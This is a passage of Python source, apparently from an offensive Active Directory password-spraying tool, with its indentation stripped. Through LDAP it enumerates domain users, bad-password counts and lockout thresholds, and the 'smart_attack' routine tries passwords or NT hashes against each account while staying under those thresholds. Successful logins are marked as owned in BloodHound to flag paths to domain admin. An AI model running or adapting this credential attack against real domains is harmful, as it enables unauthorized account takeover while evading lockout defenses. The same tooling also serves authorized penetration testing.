# search_filters = "(objectCategory=User)"
# we want username and attempts left for each account
attributes = ["samAccountName", "badPwdCount", "distinguishedName"]
# todo : add argument that makes the user choose a page size and set it for "size"
paged_results_control = ldap.SimplePagedResultsControl(criticality=True, size=200, cookie="")
ldap_connection.search(searchBase=domain_dn, searchFilter=search_filters, attributes=attributes, searchControls=[paged_results_control], perRecordCallback=self.process_user_record)
logger.verbose("Found %d users" % len(self.users))
for user in self.users.keys():
logger.debug(" %-25s %-15d %-15d %-15s" % (self.users[user]["sAMAccountName"], self.users[user]["badPwdCount"], self.users[user]["lockoutThreshold"], user))
def get_lockout_thresholds(self, ldap_connection, domain):
if domain is None or "." not in domain:
logger.error("FQDN Domain is needed to fetch domain information from LDAP")
exit(0)
else:
domain_dn = ",".join(["DC=" + part for part in domain.split(".")])
logger.verbose("Fetching domain level lockout threshold")
try:
results = ldap_connection.search(searchBase=domain_dn, searchFilter="(objectClass=*)", attributes=["lockoutThreshold"], sizeLimit=999)
except ldap.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
logger.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
results = e.getAnswers()
self.global_lockout_threshold = int(results[0]["attributes"][0]["vals"][0].asOctets())
logger.debug("Global lockout threshold %d" % self.global_lockout_threshold)
logger.verbose("Fetching granular lockout thresholds in Password Settings Containers")
granular_policy_container = "CN=Password Settings Container,CN=System,%s" % domain_dn
granular_policy_filter = "(objectClass=msDS-PasswordSettings)"
granular_policy_attribs = ["msDS-LockoutThreshold", "msDS-PSOAppliesTo"]
try:
results = ldap_connection.search(searchBase=granular_policy_container, searchFilter=granular_policy_filter, attributes=granular_policy_attribs, sizeLimit=999)
except ldap.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
logger.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
results = e.getAnswers()
for policy in results:
if isinstance(policy, ldapasn1.SearchResultEntry):
if policy[1][1].hasValue() and str(policy[1][1][0]) == "msDS-PSOAppliesTo":
for element in policy[1][1][1]:
applies_to_dn = element.asOctets().decode("utf-8")
# applies_to_dn = policy[1][1][1][0].asOctets().decode("utf-8")
if str(policy[1][0][0]) == "msDS-LockoutThreshold":
lockout_threshold = int(policy[1][0][1][0].asOctets())
if self.is_a_group(ldap_connection, applies_to_dn):
members_dn = self.members_dn_from_group_dn(ldap_connection, applies_to_dn)
for member_dn in members_dn:
# todo : precedence is ignored for now, we only take the lower lockout threshold for now to insure 100% "no lockouts"
if member_dn in self.granular_lockout_threshold.keys():
if lockout_threshold < self.granular_lockout_threshold[member_dn]:
self.granular_lockout_threshold[member_dn] = lockout_threshold
else:
self.granular_lockout_threshold[member_dn] = lockout_threshold
else:
if applies_to_dn in self.granular_lockout_threshold.keys():
if lockout_threshold < self.granular_lockout_threshold[applies_to_dn]:
self.granular_lockout_threshold[applies_to_dn] = lockout_threshold
else:
self.granular_lockout_threshold[applies_to_dn] = lockout_threshold
else:
logger.error("Something went wrong when parsing policies information...")
exit(0)
else:
if not policy[1][1].hasValue():
logger.debug("The policy %s wasn't assigned to any group" % policy[0])
continue
logger.error("Something went wrong when parsing policies information...")
exit(0)
logger.verbose("Found global lockout threshold (%d) and granular lockout thresholds (%s)" % (self.global_lockout_threshold, list(set(list(self.granular_lockout_threshold.values())))))
logger.debug("Printing all users target of granular policies")
for account in self.granular_lockout_threshold.keys():
logger.debug(" %-5d %s" % (self.granular_lockout_threshold[account], account))
def is_a_group(self, ldap_connection, object_dn):
results = ldap_connection.search(searchBase=object_dn, attributes=["objectClass"])
if "group" in str(results[0][1][0]["vals"]):
logger.debug("%s is a group" % object_dn)
return True
else:
logger.debug("%s is not a group" % object_dn)
return False
def members_dn_from_group_dn(self, ldap_connection, object_dn):
logger.debug("Fetching members of group: %s" % object_dn)
members_dn = []
results = ldap_connection.search(searchBase=object_dn, attributes=["member"])
for element in results:
direct_members_dn = element[1][0]["vals"]
for direct_member_dn in direct_members_dn:
if self.is_a_group(ldap_connection, direct_member_dn):
members_dn += self.members_dn_from_group_dn(ldap_connection, direct_member_dn)
else:
members_dn.append(direct_member_dn.asOctets().decode("utf-8"))
return members_dn
def handle_auth_results(self, domain, user, user_dn, password, password_hash, auth, details):
if password is not None:
secret = password
elif password_hash is not None:
secret = password_hash
printed_details = []
if auth:
logger.debug("[yellow3]Match for domain (%s), user (%s) and password (%s)[/yellow3]" % (domain, user, password))
if self.options.set_as_owned == True:
ret = self.neo4j.set_as_owned(user, domain)
if ret == ERROR_SUCCESS:
if self.neo4j.bloodhound_analysis(user, domain) == ERROR_SUCCESS:
printed_details.append("[bold red on orange3] PATH TO DA [/bold red on orange3]")
logger.verbose("User %s set as owned in neo4j" % user)
elif ret == ERROR_NEO4J_NON_EXISTENT_NODE:
logger.verbose("User {} does not exist in neo4j database".format(user))
else:
return ret
style = "green"
if user in self.admin_users:
printed_details.append("[bold red]admin account[/bold red]")
elif user in self.special_users:
printed_details.append("[bold blue]special account[/bold blue]")
# if details == "KRB_ERR_RESPONSE_TOO_BIG":
# logger.verbose("Raised KRB_ERR_RESPONSE_TOO_BIG for domain (%s), user (%s) and password (%s), auth is prbbly ok, set --transport-protocol to tcp to make sure of it" % (self.options.domain, user, password))
# printed_details.append("[yellow3](probably valid)[/yellow3]")
# if details == "KRB_AP_ERR_SKEW":
# logger.verbose("Raised KRB_AP_ERR_SKEW for domain (%s), user (%s) and password (%s), auth is prbbly ok, but there is a time skew between the machines" % (self.options.domain, user, password))
# printed_details.append("[yellow3](probably valid)[/yellow3]")
if details == "local admin":
printed_details.append("[yellow3]%s[/yellow3]" % details)
self.table.add_row(domain, user, secret, " ".join(printed_details), style=style)
else:
# below occurs when testing with the smart mode on so that accounts don't get locked out
if user_dn is not None:
self.users[user_dn]["badPwdCount"] += 1
# we still want to print the disabled accounts
style = "magenta"
# SMB auth returns False for auth, account is disabled, but password is ok, something else is wrong
if details in smb_error_status.keys():
printed_details.append("[magenta]%s[/magenta]" % smb_error_status[details])
self.table.add_row(domain, user, secret, " ".join(printed_details), style=style)
# Kerberos returns pre-auth error meaning account is disabled, but we don't know if password is ok
elif details == "disabled":
printed_details.append("[magenta]disabled[/magenta]")
self.table.add_row(domain, user, "n/a", " ".join(printed_details), style=style)
# Kerberos returns an error, usually meaning auth is ok but Kerberos can't send TGT through UDP or smth else
if user in self.admin_users:
printed_details.append("[bold red]admin account[/bold red]")
elif user in self.special_users:
printed_details.append("[bold blue]special account[/bold blue]")
if details == "KRB_ERR_RESPONSE_TOO_BIG":
logger.verbose("Raised KRB_ERR_RESPONSE_TOO_BIG for domain (%s), user (%s) and password (%s), auth is prbbly ok, set --transport-protocol to tcp to make sure of it" % (self.options.domain, user, password))
printed_details.append("[yellow3](probably valid)[/yellow3]")
style = "green"
self.table.add_row(domain, user, secret, " ".join(printed_details), style=style)
if details == "KRB_AP_ERR_SKEW":
logger.verbose("Raised KRB_AP_ERR_SKEW for domain (%s), user (%s) and password (%s), auth is prbbly ok, but there is a time skew between the machines" % (self.options.domain, user, password))
logger.verbose("Server time is %s (UTC)" % self.kerberos.server_time)
printed_details.append("[yellow3](probably valid)[/yellow3]")
style = "green"
self.table.add_row(domain, user, secret, " ".join(printed_details), style=style)
def smart_attack(self):
logger.info("Bad password counts dont replicate between domain controllers. Only the PDC knows the real amount of those. Be sure to target the PDC so that accounts don't get locked out")
# https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc775412(v=ws.10)?redirectedfrom=MSDN
if self.options.auth_protocol == "ntlm":
logger.verbose("Fetching domain information through NTLM over LDAP")
# if self.options.auth_domain is None or "." not in self.options.auth_domain:
# logger.error("FQDN Domain is needed to fetch domain information from LDAP")
if self.options.auth_domain is None:
logger.error("Domain is needed to fetch domain information from LDAP")
if self.options.auth_dc_ip is not None:
target = self.options.auth_dc_ip
else:
target = self.options.auth_domain
auth_lm_hash = None
auth_nt_hash = None
if self.options.auth_hashes is not None:
if ":" in self.options.auth_hashes:
auth_lm_hash = self.options.auth_hashes.split(":")[0]
auth_nt_hash = self.options.auth_hashes.split(":")[1]
else:
auth_nt_hash = self.options.auth_hashes
# Handling LDAPS
if self.options.auth_use_ldaps:
try:
ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1_2, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, lm_hash=auth_lm_hash, nt_hash=auth_nt_hash)
except:
ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, lm_hash=auth_lm_hash, nt_hash=auth_nt_hash)
else:
ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=None, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, lm_hash=auth_lm_hash, nt_hash=auth_nt_hash)
if ldap_connection:
logger.success("Successfully logged in, fetching domain information")
if self.options.enum_users:
self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain)
for user_dn in self.users.keys():
self.table.add_row(self.options.auth_domain, self.users[user_dn]["sAMAccountName"])
elif self.options.enum_policy:
self.get_lockout_thresholds(ldap_connection=ldap_connection, domain=self.options.auth_domain)
self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain)
logger.success("Global lockout threshold is: %d" % self.global_lockout_threshold)
logger.success("Granular thresholds are as follows: %s" % list(set(list(self.granular_lockout_threshold.values()))))
logger.info("Printing table of users and their granular thresholds (in case of multiple PSOs, lowest threshold is kept) (empty table == no granular policies exist)")
for user_dn in self.users.keys():
if self.users[user_dn]["lockoutThreshold"] != self.global_lockout_threshold:
self.table.add_row(self.options.auth_domain, self.users[user_dn]["sAMAccountName"], str(self.users[user_dn]["lockoutThreshold"]))
else:
self.get_lockout_thresholds(ldap_connection=ldap_connection, domain=self.options.auth_domain)
self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain)
self.get_privileged_users(ldap_connection=ldap_connection, domain=self.options.auth_domain)
self.domain_is_dumped = True
logger.success("Domain enumeration is over, starting attack")
k, maxi = 1, len(self.users.keys())
for user_dn in self.users.keys():
self.table.caption = " [yellow3]User[/]: %d/%d (%3.1f%%) (%s)" % (k, maxi, round(k/maxi*100,1), self.users[user_dn]["sAMAccountName"])
k += 1
self.smart_try_user(user_dn)